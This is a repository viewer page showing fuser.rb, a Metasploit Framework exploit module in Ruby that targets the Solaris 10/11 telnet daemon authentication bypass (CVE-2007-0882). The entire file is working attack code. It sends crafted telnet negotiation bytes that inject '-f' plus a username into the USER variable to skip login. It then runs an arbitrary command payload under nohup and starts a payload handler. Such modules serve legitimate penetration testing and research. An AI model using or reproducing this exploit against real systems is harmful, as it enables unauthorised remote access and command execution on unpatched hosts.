root / modules / exploits / solaris / telnet / fuser.rb @ master
History | View | Annotate | Download (2.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = ExcellentRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::Tcp |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits the argument injection vulnerabilty |
| 26 |
in the telnet daemon (in.telnetd) of Solaris 10 and 11. |
| 27 |
},
|
| 28 |
'Author' => [ 'MC' ], |
| 29 |
'License' => MSF_LICENSE, |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
[ 'CVE', '2007-0882' ], |
| 34 |
[ 'OSVDB', '31881'], |
| 35 |
[ 'BID', '22512' ], |
| 36 |
], |
| 37 |
'Privileged' => false, |
| 38 |
'Platform' => ['unix', 'solaris'], |
| 39 |
'Arch' => ARCH_CMD, |
| 40 |
'Payload' =>
|
| 41 |
{
|
| 42 |
'Space' => 2000, |
| 43 |
'BadChars' => '', |
| 44 |
'DisableNops' => true, |
| 45 |
'Compat' =>
|
| 46 |
{
|
| 47 |
'PayloadType' => 'cmd', |
| 48 |
'RequiredCmd' => 'generic perl telnet', |
| 49 |
} |
| 50 |
}, |
| 51 |
'Targets' =>
|
| 52 |
[ |
| 53 |
['Automatic', { }],
|
| 54 |
], |
| 55 |
'DisclosureDate' => 'Feb 12 2007', |
| 56 |
'DefaultTarget' => 0)) |
| 57 |
|
| 58 |
register_options( |
| 59 |
[ |
| 60 |
Opt::RPORT(23), |
| 61 |
OptString.new('USER', [ true, "The username to use", "bin" ]), |
| 62 |
], self.class)
|
| 63 |
end
|
| 64 |
|
| 65 |
def exploit |
| 66 |
connect |
| 67 |
|
| 68 |
print_status('Setting USER environment variable...')
|
| 69 |
|
| 70 |
req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
|
| 71 |
req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
|
| 72 |
req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"
|
| 73 |
|
| 74 |
sock.put(req) |
| 75 |
sock.get_once |
| 76 |
|
| 77 |
req << "\xFF\xFC\x25"
|
| 78 |
|
| 79 |
sock.put(req) |
| 80 |
sock.get_once |
| 81 |
|
| 82 |
req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"
|
| 83 |
|
| 84 |
sock.put(req) |
| 85 |
sock.get_once |
| 86 |
|
| 87 |
req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"
|
| 88 |
|
| 89 |
sock.put(req) |
| 90 |
sock.get_once |
| 91 |
|
| 92 |
req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"
|
| 93 |
|
| 94 |
sock.put(req) |
| 95 |
sock.get_once |
| 96 |
|
| 97 |
req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
|
| 98 |
req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
|
| 99 |
req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0" |
| 100 |
|
| 101 |
sock.put(req) |
| 102 |
sock.get_once |
| 103 |
select(nil,nil,nil,0.25) |
| 104 |
|
| 105 |
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n") |
| 106 |
|
| 107 |
select(nil,nil,nil,0.25) |
| 108 |
|
| 109 |
handler |
| 110 |
end
|
| 111 |
|
| 112 |
end
|
| 113 |
|